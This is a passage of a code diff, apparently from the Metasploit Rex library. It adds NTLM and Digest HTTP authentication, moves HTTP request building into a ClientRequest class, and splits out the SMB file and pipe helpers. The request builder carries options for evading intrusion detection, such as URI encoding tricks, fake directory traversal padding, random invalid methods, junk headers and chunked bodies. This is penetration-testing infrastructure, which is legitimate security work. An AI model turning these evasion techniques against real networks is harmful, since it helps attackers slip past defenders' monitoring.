+ "nc=#{'%08x' % @nonce_count}",
+ "algorithm=#{algstr}",
+ "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
+ # The spec says the qop value shouldn't be enclosed in quotes, but
+ # some versions of IIS require it and Apache accepts it. Chrome
+ # and Firefox both send it without quotes but IE does it this way.
+ # Use the non-compliant-but-everybody-does-it to be as compatible
+ # as possible by default. The user can override if they don't like
+ # it.
+ if qop.nil? then
+ elsif iis then
+ "qop=\"#{qop}\""
+ else
+ "qop=#{qop}"
+ end,
+ if parameters.key? 'opaque' then
+ "opaque=\"#{parameters['opaque']}\""
+ end
+ ].compact
+
+ headers ={ 'Authorization' => auth.join(', ') }
+ headers.merge!(opts['headers']) if opts['headers']
+
+ # Send main request with authentication
+ r = request_cgi(opts.merge({
+ 'uri' => path,
+ 'method' => method,
+ 'headers' => headers }))
+ resp = _send_recv(r, to, true)
+ unless resp.kind_of? Rex::Proto::Http::Response
+ return nil
+ end
+
+ return resp
+
+ rescue ::Errno::EPIPE, ::Timeout::Error
+ end
+ end
+
+ #
+ # Builds a series of requests to complete Negotiate Auth. Works essentially
+ # the same way as Digest auth. Same pipelining concerns exist.
+ #
+ # @option opts (see #send_request_cgi)
+ # @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use
+ #
+ # @return [Response] the last valid HTTP response we received
+ def negotiate_auth(opts={})
+ ntlm_options = {
+ :signing => false,
+ :usentlm2_session => self.config['usentlm2_session'],
+ :use_ntlmv2 => self.config['use_ntlmv2'],
+ :send_lm => self.config['send_lm'],
+ :send_ntlm => self.config['send_ntlm']
+ }
+
+ to = opts['timeout'] || 20
+ opts['username'] ||= ''
+ opts['password'] ||= ''
+
+ if opts['provider'] and opts['provider'].include? 'Negotiate'
+ provider = "Negotiate "
+ else
+ provider = 'NTLM '
+ end
+
+ opts['method']||= 'GET'
+ opts['headers']||= {}
+
+ ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
+ workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
+ domain_name = self.config['domain']
+
+ b64_blob = Rex::Text::encode_base64(
+ ::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init(
+ domain_name,
+ workstation_name,
+ ntlmssp_flags
+ ))
+
+ ntlm_message_1 = provider + b64_blob
+
+ begin
+ # First request to get the challenge
+ opts['headers']['Authorization'] = ntlm_message_1
+ r = request_cgi(opts)
+ resp = _send_recv(r, to)
+ unless resp.kind_of? Rex::Proto::Http::Response
+ return nil
+ end
+
+ return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
+
+ # Get the challenge and craft the response
+ ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0]
+ return resp unless ntlm_challenge
+
+ ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
+ blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
+
+ challenge_key = blob_data[:challenge_key]
+ server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
+ default_name = blob_data[:default_name] || '' #netbios name
+ default_domain = blob_data[:default_domain] || '' #netbios domain
+ dns_host_name = blob_data[:dns_host_name] || '' #dns name
+ dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain
+ chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
+
+ spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname}
+
+ resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
+ opts['username'],
+ opts['password'],
+ challenge_key,
+ domain_name,
+ default_name,
+ default_domain,
+ dns_host_name,
+ dns_domain_name,
+ chall_MsvAvTimestamp,
+ spnopt,
+ ntlm_options
+ )
+
+ ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
+ domain_name,
+ workstation_name,
+ opts['username'],
+ resp_lm,
+ resp_ntlm,
+ '',
+ ntlmssp_flags
+ )
+
+ ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
+
+ # Send the response
+ opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}"
+ r = request_cgi(opts)
+ resp = _send_recv(r, to, true)
+ unless resp.kind_of? Rex::Proto::Http::Response
+ return nil
+ end
+ return resp
+
+ rescue ::Errno::EPIPE, ::Timeout::Error
+ return nil
+ end
+ end
#
# Read a response from the server
#
+ # @return [Response]
def read_response(t = -1, opts = {})
resp = Response.new
@@ -474,338 +672,6 @@ class Client
pipeline
end
- #
- # Return the encoded URI
- # ['none','hex-normal', 'hex-all', 'u-normal', 'u-all']
- def set_encode_uri(uri)
- a = uri
- self.config['uri_encode_count'].times {
- a = Rex::Text.uri_encode(a, self.config['uri_encode_mode'])
- }
- return a
- end
-
- #
- # Return the encoded query string
- #
- def set_encode_qs(qs)
- a = qs
- self.config['uri_encode_count'].times {
- a = Rex::Text.uri_encode(a, self.config['uri_encode_mode'])
- }
- return a
- end
-
- #
- # Return the uri
- #
- def set_uri(uri)
-
- if (self.config['uri_dir_self_reference'])
- uri.gsub!('/', '/./')
- end
-
- if (self.config['uri_dir_fake_relative'])
- buf = ""
- uri.split('/').each do |part|
- cnt = rand(8)+2
- 1.upto(cnt) { |idx|
- buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1)
- }
- buf << ("/.." * cnt)
- buf << "/" + part
- end
- uri = buf
- end
-
- if (self.config['uri_full_url'])
- url = self.ssl ? "https" : "http"
- url << self.config['vhost']
- url << ((self.port == 80) ? "" : ":#{self.port}")
- url << uri
- url
- else
- uri
- end
- end
-
- #
- # Return the cgi
- #
- def set_cgi(uri)
-
- if (self.config['uri_dir_self_reference'])
- uri.gsub!('/', '/./')
- end
-
- if (self.config['uri_dir_fake_relative'])
- buf = ""
- uri.split('/').each do |part|
- cnt = rand(8)+2
- 1.upto(cnt) { |idx|
- buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1)
- }
- buf << ("/.." * cnt)
- buf << "/" + part
- end
- uri = buf
- end
-
- url = uri
-
- if (self.config['uri_full_url'])
- url = self.ssl ? "https" : "http"
- url << self.config['vhost']
- url << (self.port == 80) ? "" : ":#{self.port}"
- url << uri
- end
-
- url
- end
-
- #
- # Return the HTTP method string
- #
- def set_method(method)
- ret = method
-
- if (self.config['method_random_valid'])
- ret = ['GET', 'POST', 'HEAD'][rand(3)]
- end
-
- if (self.config['method_random_invalid'])
- ret = Rex::Text.rand_text_alpha(rand(20)+1)
- end
-
- if (self.config['method_random_case'])
- ret = Rex::Text.to_rand_case(ret)
- end
-
- ret
- end
-
- #
- # Return the HTTP version string
- #
- def set_version(protocol, version)
- ret = protocol + "/" + version
-
- if (self.config['version_random_valid'])
- ret = protocol + "/" + ['1.0', '1.1'][rand(2)]
- end
-
- if (self.config['version_random_invalid'])
- ret = Rex::Text.rand_text_alphanumeric(rand(20)+1)
- end
-
- if (self.config['version_random_case'])
- ret = Rex::Text.to_rand_case(ret)
- end
-
- ret << "\r\n"
- end
-
- #
- # Return the HTTP seperator and body string
- #
- def set_body(data)
- return "\r\n" + data if self.config['chunked_size'] == 0
- str = data.dup
- chunked = ''
- while str.size > 0
- chunk = str.slice!(0,rand(self.config['chunked_size']) + 1)
- chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n"
- end
- "\r\n" + chunked + "0\r\n\r\n"
- end
-
- #
- # Return the HTTP path info
- # TODO:
- # * Encode path information
- def set_path_info(path)
- path ? path : ''
- end
-
- #
- # Return the spacing between the method and uri
- #
- def set_method_uri_spacer
- len = self.config['pad_method_uri_count'].to_i
- set = " "
- buf = ""
-
- case self.config['pad_method_uri_type']
- when 'tab'
- set = "\t"
- when 'apache'
- set = "\t \x0b\x0c\x0d"
- end
-
- while(buf.length < len)
- buf << set[ rand(set.length) ]
- end
-
- return buf
- end
-
- #
- # Return the spacing between the uri and the version
- #
- def set_uri_version_spacer
- len = self.config['pad_uri_version_count'].to_i
- set = " "
- buf = ""
-
- case self.config['pad_uri_version_type']
- when 'tab'
- set = "\t"
- when 'apache'
- set = "\t \x0b\x0c\x0d"
- end
-
- while(buf.length < len)
- buf << set[ rand(set.length) ]
- end
-
- return buf
- end
-
- #
- # Return the padding to place before the uri
- #
- def set_uri_prepend
- prefix = ""
-
- if (self.config['uri_fake_params_start'])
- prefix << '/%3fa=b/../'
- end
-
- if (self.config['uri_fake_end'])
- prefix << '/%20HTTP/1.0/../../'
- end
-
- prefix
- end
-
- #
- # Return the padding to place before the uri
- #
- def set_uri_append
- # TODO:
- # * Support different padding types
- ""
- end
-
- #
- # Return the HTTP Host header
- #
- def set_host_header(host=nil)
- return "" if self.config['uri_full_url']
- host ||= self.config['vhost']
-
- # IPv6 addresses must be placed in brackets
- if Rex::Socket.is_ipv6?(host)
- host = "[#{host}]"
- end
-
- # The port should be appended if non-standard
- if not [80,443].include?(self.port)
- host = host + ":#{port}"
- end
-
- set_formatted_header("Host", host)
- end
-
- #
- # Return the HTTP agent header
- #
- def set_agent_header(agent)
- agent ? set_formatted_header("User-Agent", agent) : ""
- end
-
- #
- # Return the HTTP cookie header
- #
- def set_cookie_header(cookie)
- cookie ? set_formatted_header("Cookie", cookie) : ""
- end
-
- #
- # Return the HTTP connection header
- #
- def set_connection_header(conn)
- conn ? set_formatted_header("Connection", conn) : ""
- end
-
- #
- # Return the content type header
- #
- def set_content_type_header(ctype)
- set_formatted_header("Content-Type", ctype)
- end
-
- #
- # Return the content length header
- def set_content_len_header(clen)
- return "" if self.config['chunked_size'] > 0
- set_formatted_header("Content-Length", clen)
- end
-
- #
- # Return the Authorization basic-auth header
- #
- def set_basic_auth_header(auth)
- auth ? set_formatted_header("Authorization", "Basic " + Rex::Text.encode_base64(auth)) : ""
- end
-
- #
- # Return a string of formatted extra headers
- #
- def set_extra_headers(headers)
- buf = ''
-
- if (self.config['pad_fake_headers'])
- 1.upto(self.config['pad_fake_headers_count'].to_i) do |i|
- buf << set_formatted_header(
- Rex::Text.rand_text_alphanumeric(rand(32)+1),
- Rex::Text.rand_text_alphanumeric(rand(32)+1)
- )
- end
- end
-
- headers.each_pair do |var,val|
- buf << set_formatted_header(var, val)
- end
-
- buf
- end
-
- def set_chunked_header()
- return "" if self.config['chunked_size'] == 0
- set_formatted_header('Transfer-Encoding', 'chunked')
- end
-
- #
- # Return a string of raw header data
- #
- def set_raw_headers(data)
- data
- end
-
- #
- # Return a formatted header string
- #
- def set_formatted_header(var, val)
- if (self.config['header_folding'])
- "#{var}:\r\n\t#{val}\r\n"
- else
- "#{var}: #{val}\r\n"
- end
- end
-
-
-
#
# The client request configuration
#
@@ -839,6 +705,9 @@ class Client
#
attr_accessor :proxies
+ # Auth
+ attr_accessor :username, :password
+
# When parsing the request, thunk off the first response from the server, since junk
attr_accessor :junk_pipeline
diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb
new file mode 100644
index 0000000000..76a4294af1
--- /dev/null
+++ b/lib/rex/proto/http/client_request.rb
@@ -0,0 +1,462 @@
+# -*- coding: binary -*-
+require 'uri'
+#require 'rex/proto/http'
+require 'rex/socket'
+require 'rex/text'
+
+require 'pp'
+
+module Rex
+module Proto
+module Http
+
+class ClientRequest
+
+ DefaultUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
+ DefaultConfig = {
+ #
+ # Regular HTTP stuff
+ #
+ 'agent' => DefaultUserAgent,
+ 'cgi' => true,
+ 'cookie' => nil,
+ 'data' => '',
+ 'headers' => nil,
+ 'raw_headers' => '',
+ 'method' => 'GET',
+ 'path_info' => '',
+ 'port' => 80,
+ 'proto' => 'HTTP',
+ 'query' => '',
+ 'ssl' => false,
+ 'uri' => '/',
+ 'vars_get' => {},
+ 'vars_post' => {},
+ 'version' => '1.1',
+ 'vhost' => nil,
+
+ #
+ # Evasion options
+ #
+ 'encode_params' => true,
+ 'encode' => false,
+ 'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all
+ 'uri_encode_count' => 1, # integer
+ 'uri_full_url' => false, # bool
+ 'pad_method_uri_count' => 1, # integer
+ 'pad_uri_version_count' => 1, # integer
+ 'pad_method_uri_type' => 'space', # space, tab, apache
+ 'pad_uri_version_type' => 'space', # space, tab, apache
+ 'method_random_valid' => false, # bool
+ 'method_random_invalid' => false, # bool
+ 'method_random_case' => false, # bool
+ 'version_random_valid' => false, # bool
+ 'version_random_invalid' => false, # bool
+ 'version_random_case' => false, # bool
+ 'uri_dir_self_reference' => false, # bool
+ 'uri_dir_fake_relative' => false, # bool
+ 'uri_use_backslashes' => false, # bool
+ 'pad_fake_headers' => false, # bool
+ 'pad_fake_headers_count' => 16, # integer
+ 'pad_get_params' => false, # bool
+ 'pad_get_params_count' => 8, # integer
+ 'pad_post_params' => false, # bool
+ 'pad_post_params_count' => 8, # integer
+ 'uri_fake_end' => false, # bool
+ 'uri_fake_params_start' => false, # bool
+ 'header_folding' => false, # bool
+ 'chunked_size' => 0, # integer
+
+ #
+ # NTLM Options
+ #
+ 'usentlm2_session' => true,
+ 'use_ntlmv2' => true,
+ 'send_lm' => true,
+ 'send_ntlm' => true,
+ 'SendSPN' => true,
+ 'UseLMKey' => false,
+ 'domain' => 'WORKSTATION',
+ #
+ # Digest Options
+ #
+ 'DigestAuthIIS' => true
+ }
+
+ attr_reader :opts
+
+ def initialize(opts={})
+ @opts = DefaultConfig.merge(opts)
+ @opts['headers'] ||= {}
+ end
+
+ def to_s
+
+ # Start GET query string
+ qstr = opts['query'] ? opts['query'].dup : ""
+
+ # Start POST data string
+ pstr = opts['data'] ? opts['data'].dup : ""
+
+ if opts['cgi']
+ uri_str = set_uri
+
+ if (opts['pad_get_params'])
+ 1.upto(opts['pad_get_params_count'].to_i) do |i|
+ qstr << '&' if qstr.length > 0
+ qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1))
+ qstr << '='
+ qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1))
+ end
+ end
+
+ opts['vars_get'].each_pair do |var,val|
+ qstr << '&' if qstr.length > 0
+ qstr << (opts['encode_params'] ? set_encode_uri(var) : var)
+ qstr << '='
+ qstr << (opts['encode_params'] ? set_encode_uri(val) : val)
+ end
+
+ if (opts['pad_post_params'])
+ 1.upto(opts['pad_post_params_count'].to_i) do |i|
+ rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1)
+ rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1)
+ pstr << '&' if pstr.length > 0
+ pstr << (opts['encode_params'] ? set_encode_uri(rand_var) : rand_var)
+ pstr << '='
+ pstr << (opts['encode_params'] ? set_encode_uri(rand_val) : rand_val)
+ end
+ end
+
+ opts['vars_post'].each_pair do |var,val|
+ pstr << '&' if pstr.length > 0
+ pstr << (opts['encode_params'] ? set_encode_uri(var) : var)
+ pstr << '='
+ pstr << (opts['encode_params'] ? set_encode_uri(val) : val)
+ end
+ else
+ if opts['encode']
+ qstr = set_encode_uri(qstr)
+ end
+ uri_str = set_uri
+ end
+
+ req = ''
+ req << set_method
+ req << set_method_uri_spacer()
+ req << set_uri_prepend()
+
+ if opts['encode']
+ req << set_encode_uri(uri_str)
+ else
+ req << uri_str
+ end
+
+
+ if (qstr.length > 0)
+ req << '?'
+ req << qstr
+ end
+
+ req << set_path_info
+ req << set_uri_append()
+ req << set_uri_version_spacer()
+ req << set_version
+ req << set_host_header
+
+ # If an explicit User-Agent header is set, then use that instead of
+ # the default
+ unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('user-agent')
+ req << set_agent_header
+ end
+
+ # Similar to user-agent, only add an automatic auth header if a
+ # manual one hasn't been provided
+ unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('authorization')
+ req << set_auth_header
+ end
+
+ req << set_cookie_header
+ req << set_connection_header
+ req << set_extra_headers
+
+ req << set_content_type_header
+ req << set_content_len_header(pstr.length)
+ req << set_chunked_header()
+ req << opts['raw_headers']
+ req << set_body(pstr)
+ end
+
+ protected
+
+ def set_uri
+ uri_str = opts['uri'].dup
+ if (opts['uri_dir_self_reference'])
+ uri_str.gsub!('/', '/./')
+ end
+
+ if (opts['uri_dir_fake_relative'])
+ buf = ""
+ uri_str.split('/',-1).each do |part|
+ cnt = rand(8)+2
+ 1.upto(cnt) { |idx|
+ buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1)
+ }
+ buf << ("/.." * cnt)
+ buf << "/" + part
+ end
+ uri_str = buf
+ end
+
+ if (opts['uri_full_url'])
+ url = opts['ssl'] ? "https://" : "http://"
+ url << opts['vhost']
+ url << ((opts['port'] == 80) ? "" : ":#{opts['port']}")
+ url << uri_str
+ url
+ else
+ uri_str
+ end
+ end
+
+ def set_encode_uri(str)
+ a = str.dup
+ opts['uri_encode_count'].times {
+ a = Rex::Text.uri_encode(a, opts['uri_encode_mode'])
+ }
+ return a
+ end
+
+ def set_method
+ ret = opts['method'].dup
+
+ if (opts['method_random_valid'])
+ ret = ['GET', 'POST', 'HEAD'][rand(3)]
+ end
+
+ if (opts['method_random_invalid'])
+ ret = Rex::Text.rand_text_alpha(rand(20)+1)
+ end
+
+ if (opts['method_random_case'])
+ ret = Rex::Text.to_rand_case(ret)
+ end
+
+ ret
+ end
+
+ def set_method_uri_spacer
+ len = opts['pad_method_uri_count'].to_i
+ set = " "
+ buf = ""
+
+ case opts['pad_method_uri_type']
+ when 'tab'
+ set = "\t"
+ when 'apache'
+ set = "\t \x0b\x0c\x0d"
+ end
+
+ while(buf.length < len)
+ buf << set[ rand(set.length) ]
+ end
+
+ return buf
+ end
+
+ #
+ # Return the padding to place before the uri
+ #
+ def set_uri_prepend
+ prefix = ""
+
+ if (opts['uri_fake_params_start'])
+ prefix << '/%3fa=b/../'
+ end
+
+ if (opts['uri_fake_end'])
+ prefix << '/%20HTTP/1.0/../../'
+ end
+
+ prefix
+ end
+
+ #
+ # Return the HTTP path info
+ # TODO:
+ # * Encode path information
+ def set_path_info
+ opts['path_info'] ? opts['path_info'] : ''
+ end
+
+ #
+ # Return the padding to place before the uri
+ #
+ def set_uri_append
+ # TODO:
+ # * Support different padding types
+ ""
+ end
+
+ #
+ # Return the spacing between the uri and the version
+ #
+ def set_uri_version_spacer
+ len = opts['pad_uri_version_count'].to_i
+ set = " "
+ buf = ""
+
+ case opts['pad_uri_version_type']
+ when 'tab'
+ set = "\t"
+ when 'apache'
+ set = "\t \x0b\x0c\x0d"
+ end
+
+ while(buf.length < len)
+ buf << set[ rand(set.length) ]
+ end
+
+ return buf
+ end
+
+ #
+ # Return the HTTP version string
+ #
+ def set_version
+ ret = opts['proto'] + "/" + opts['version']
+
+ if (opts['version_random_valid'])
+ ret = opts['proto'] + "/" + ['1.0', '1.1'][rand(2)]
+ end
+
+ if (opts['version_random_invalid'])
+ ret = Rex::Text.rand_text_alphanumeric(rand(20)+1)
+ end
+
+ if (opts['version_random_case'])
+ ret = Rex::Text.to_rand_case(ret)
+ end
+
+ ret << "\r\n"
+ end
+
+ #
+ # Return a formatted header string
+ #
+ def set_formatted_header(var, val)
+ if (self.opts['header_folding'])
+ "#{var}:\r\n\t#{val}\r\n"
+ else
+ "#{var}: #{val}\r\n"
+ end
+ end
+
+ #
+ # Return the HTTP agent header
+ #
+ def set_agent_header
+ opts['agent'] ? set_formatted_header("User-Agent", opts['agent']) : ""
+ end
+
+ def set_auth_header
+ opts['authorization'] ? set_formatted_header("Authorization", opts['authorization']) : ""
+ end
+
+ #
+ # Return the HTTP cookie header
+ #
+ def set_cookie_header
+ opts['cookie'] ? set_formatted_header("Cookie", opts['cookie']) : ""
+ end
+
+ #
+ # Return the HTTP connection header
+ #
+ def set_connection_header
+ opts['connection'] ? set_formatted_header("Connection", opts['connection']) : ""
+ end
+
+ #
+ # Return the content type header
+ #
+ def set_content_type_header
+ opts['ctype'] ? set_formatted_header("Content-Type", opts['ctype']) : ""
+ end
+
+ #
+ # Return the content length header
+ def set_content_len_header(clen)
+ return "" if opts['chunked_size'] > 0
+ set_formatted_header("Content-Length", clen)
+ end
+
+ #
+ # Return the HTTP Host header
+ #
+ def set_host_header
+ return "" if opts['uri_full_url']
+ host = opts['vhost']
+
+ # IPv6 addresses must be placed in brackets
+ if Rex::Socket.is_ipv6?(host)
+ host = "[#{host}]"
+ end
+
+ # The port should be appended if non-standard
+ if not [80,443].include?(opts['port'])
+ host = host + ":#{opts['port']}"
+ end
+
+ set_formatted_header("Host", host)
+ end
+
+ #
+ # Return a string of formatted extra headers
+ #
+ def set_extra_headers
+ buf = ''
+
+ if (opts['pad_fake_headers'])
+ 1.upto(opts['pad_fake_headers_count'].to_i) do |i|
+ buf << set_formatted_header(
+ Rex::Text.rand_text_alphanumeric(rand(32)+1),
+ Rex::Text.rand_text_alphanumeric(rand(32)+1)
+ )
+ end
+ end
+
+ opts['headers'].each_pair do |var,val|
+ buf << set_formatted_header(var, val)
+ end
+
+ buf
+ end
+
+ def set_chunked_header
+ return "" if opts['chunked_size'] == 0
+ set_formatted_header('Transfer-Encoding', 'chunked')
+ end
+
+ #
+ # Return the HTTP seperator and body string
+ #
+ def set_body(bdata)
+ return "\r\n" + bdata if opts['chunked_size'] == 0
+ str = bdata.dup
+ chunked = ''
+ while str.size > 0
+ chunk = str.slice!(0,rand(opts['chunked_size']) + 1)
+ chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n"
+ end
+ "\r\n" + chunked + "0\r\n\r\n"
+ end
+
+
+end
+
+
+
+end
+end
+end
diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb
index bec1ff50d5..72c35379fb 100644
--- a/lib/rex/proto/smb/client.rb
+++ b/lib/rex/proto/smb/client.rb
@@ -1899,7 +1899,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
resp = find_next(last_search_id, last_offset, last_filename)
search_next = 1 # Flip bit so response params will parse correctly
end
- end until eos != 0 or last_offset == 0
+ end until eos != 0 or last_offset == 0
rescue ::Exception
raise $!
end
diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb
index 454a3c694e..c0cd9d02e9 100644
--- a/lib/rex/proto/smb/simpleclient.rb
+++ b/lib/rex/proto/smb/simpleclient.rb
@@ -12,6 +12,8 @@ require 'rex/proto/smb/evasions'
require 'rex/proto/smb/crypt'
require 'rex/proto/smb/utils'
require 'rex/proto/smb/client'
+require 'rex/proto/smb/simpleclient/open_file'
+require 'rex/proto/smb/simpleclient/open_pipe'
# Some short-hand class aliases
CONST = Rex::Proto::SMB::Constants
@@ -20,157 +22,11 @@ UTILS = Rex::Proto::SMB::Utils
XCEPT = Rex::Proto::SMB::Exceptions
EVADE = Rex::Proto::SMB::Evasions
-
- class OpenFile
- attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size
-
- def initialize(client, name, tree_id, file_id)
- self.client = client
- self.name = name
- self.tree_id = tree_id
- self.file_id = file_id
- self.chunk_size = 48000
- end
-
- def delete
- begin
- self.close
- rescue
- end
- self.client.delete(self.name, self.tree_id)
- end
-
- # Close this open file
- def close
- self.client.close(self.file_id, self.tree_id)
- end
-
- # Read data from the file
- def read(length = nil, offset = 0)
- if (length == nil)
- data = ''
- fptr = offset
- ok = self.client.read(self.file_id, fptr, self.chunk_size)
- while (ok and ok['Payload'].v['DataLenLow'] > 0)
- buff = ok.to_s.slice(
- ok['Payload'].v['DataOffset'] + 4,
- ok['Payload'].v['DataLenLow']
- )
- data << buff
- if ok['Payload'].v['Remaining'] == 0
- break
- end
- fptr += ok['Payload'].v['DataLenLow']
-
- begin
- ok = self.client.read(self.file_id, fptr, self.chunk_size)
- rescue XCEPT::ErrorCode => e
- case e.error_code
- when 0x00050001
- # Novell fires off an access denied error on EOF
- ok = nil
- else
- raise e
- end
- end
- end
-
- return data
- else
- ok = self.client.read(self.file_id, offset, length)
- data = ok.to_s.slice(
- ok['Payload'].v['DataOffset'] + 4,
- ok['Payload'].v['DataLenLow']
- )
- return data
- end
- end
-
- def << (data)
- self.write(data)
- end
-
- # Write data to the file
- def write(data, offset = 0)
- # Track our offset into the remote file
- fptr = offset
-
- # Duplicate the data so we can use slice!
- data = data.dup
-
- # Take our first chunk of bytes
- chunk = data.slice!(0, self.chunk_size)
-
- # Keep writing data until we run out
- while (chunk.length > 0)
- ok = self.client.write(self.file_id, fptr, chunk)
- cl = ok['Payload'].v['CountLow']
-
- # Partial write, push the failed data back into the queue
- if (cl != chunk.length)
- data = chunk.slice(cl - 1, chunk.length - cl) + data
- end
-
- # Increment our painter and grab the next chunk
- fptr += cl
- chunk = data.slice!(0, self.chunk_size)
- end
- end
- end
-
- class OpenPipe < OpenFile
-
- # Valid modes are: 'trans' and 'rw'
- attr_accessor :mode
-
- def initialize(*args)
- super(*args)
- self.mode = 'rw'
- @buff = ''
- end
-
- def read_buffer(length, offset=0)
- length ||= @buff.length
- @buff.slice!(0, length)
- end
-
- def read(length = nil, offset = 0)
- case self.mode
- when 'trans'
- read_buffer(length, offset)
- when 'rw'
- super(length, offset)
- else
- raise ArgumentError
- end
- end
-
- def write(data, offset = 0)
- case self.mode
-
- when 'trans'
- write_trans(data, offset)
- when 'rw'
- super(data, offset)
- else
- raise ArgumentError
- end
- end
-
- def write_trans(data, offset=0)
- ack = self.client.trans_named_pipe(self.file_id, data)
- doff = ack['Payload'].v['DataOffset']
- dlen = ack['Payload'].v['DataCount']
- @buff << ack.to_s[4+doff, dlen]
- end
- end
-
-
# Public accessors
-attr_accessor :last_error
+attr_accessor :last_error
# Private accessors
-attr_accessor :socket, :client, :direct, :shares, :last_share
+attr_accessor :socket, :client, :direct, :shares, :last_share
# Pass the socket object and a boolean indicating whether the socket is netbios or cifs
def initialize(socket, direct = false)
@@ -180,7 +36,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
self.shares = { }
end
- def login( name = '', user = '', pass = '', domain = '',
+ def login(name = '', user = '', pass = '', domain = '',
verify_signature = false, usentlmv2 = false, usentlm2_session = true,
send_lm = true, use_lanman_key = false, send_ntlm = true,
native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0', spnopt = {})
diff --git a/lib/rex/proto/smb/simpleclient/open_file.rb b/lib/rex/proto/smb/simpleclient/open_file.rb
new file mode 100644
index 0000000000..66696dfae4
--- /dev/null
+++ b/lib/rex/proto/smb/simpleclient/open_file.rb
@@ -0,0 +1,106 @@
+# -*- coding: binary -*-
+module Rex
+module Proto
+module SMB
+class SimpleClient
+
+class OpenFile
+ attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size
+
+ def initialize(client, name, tree_id, file_id)
+ self.client = client
+ self.name = name
+ self.tree_id = tree_id
+ self.file_id = file_id
+ self.chunk_size = 48000
+ end
+
+ def delete
+ begin
+ self.close
+ rescue
+ end
+ self.client.delete(self.name, self.tree_id)
+ end
+
+ # Close this open file
+ def close
+ self.client.close(self.file_id, self.tree_id)
+ end
+
+ # Read data from the file
+ def read(length = nil, offset = 0)
+ if (length == nil)
+ data = ''
+ fptr = offset
+ ok = self.client.read(self.file_id, fptr, self.chunk_size)
+ while (ok and ok['Payload'].v['DataLenLow'] > 0)
+ buff = ok.to_s.slice(
+ ok['Payload'].v['DataOffset'] + 4,
+ ok['Payload'].v['DataLenLow']
+ )
+ data << buff
+ if ok['Payload'].v['Remaining'] == 0
+ break
+ end
+ fptr += ok['Payload'].v['DataLenLow']
+
+ begin
+ ok = self.client.read(self.file_id, fptr, self.chunk_size)
+ rescue XCEPT::ErrorCode => e
+ case e.error_code
+ when 0x00050001
+ # Novell fires off an access denied error on EOF
+ ok = nil
+ else
+ raise e
+ end
+ end
+ end
+
+ return data
+ else
+ ok = self.client.read(self.file_id, offset, length)
+ data = ok.to_s.slice(
+ ok['Payload'].v['DataOffset'] + 4,
+ ok['Payload'].v['DataLenLow']
+ )
+ return data
+ end
+ end
+
+ def << (data)
+ self.write(data)
+ end
+
+ # Write data to the file
+ def write(data, offset = 0)
+ # Track our offset into the remote file
+ fptr = offset
+
+ # Duplicate the data so we can use slice!
+ data = data.dup
+
+ # Take our first chunk of bytes
+ chunk = data.slice!(0, self.chunk_size)
+
+ # Keep writing data until we run out
+ while (chunk.length > 0)
+ ok = self.client.write(self.file_id, fptr, chunk)
+ cl = ok['Payload'].v['CountLow']
+
+ # Partial write, push the failed data back into the queue
+ if (cl != chunk.length)
+ data = chunk.slice(cl - 1, chunk.length - cl) + data
+ end
+
+ # Increment our painter and grab the next chunk
+ fptr += cl
+ chunk = data.slice!(0, self.chunk_size)
+ end
+ end
+end
+end
+end
+end
+end
diff --git a/lib/rex/proto/smb/simpleclient/open_pipe.rb b/lib/rex/proto/smb/simpleclient/open_pipe.rb
new file mode 100644
index 0000000000..387ee4ff9a
--- /dev/null
+++ b/lib/rex/proto/smb/simpleclient/open_pipe.rb
@@ -0,0 +1,57 @@
+# -*- coding: binary -*-
+
+module Rex
+module Proto
+module SMB
+class SimpleClient
+
+class OpenPipe < OpenFile
+
+ # Valid modes are: 'trans' and 'rw'
+ attr_accessor :mode
+
+ def initialize(*args)
+ super(*args)
+ self.mode = 'rw'
+ @buff = ''
+ end
+
+ def read_buffer(length, offset=0)
+ length ||= @buff.length
+ @buff.slice!(0, length)
+ end
+
+ def read(length = nil, offset = 0)
+ case self.mode
+ when 'trans'
+ read_buffer(length, offset)
+ when 'rw'
+ super(length, offset)
+ else
+ raise ArgumentError
+ end
+ end
+
+ def write(data, offset = 0)
+ case self.mode
+
+ when 'trans'
+ write_trans(data, offset)
+ when 'rw'
+ super(data, offset)
+ else
+ raise ArgumentError
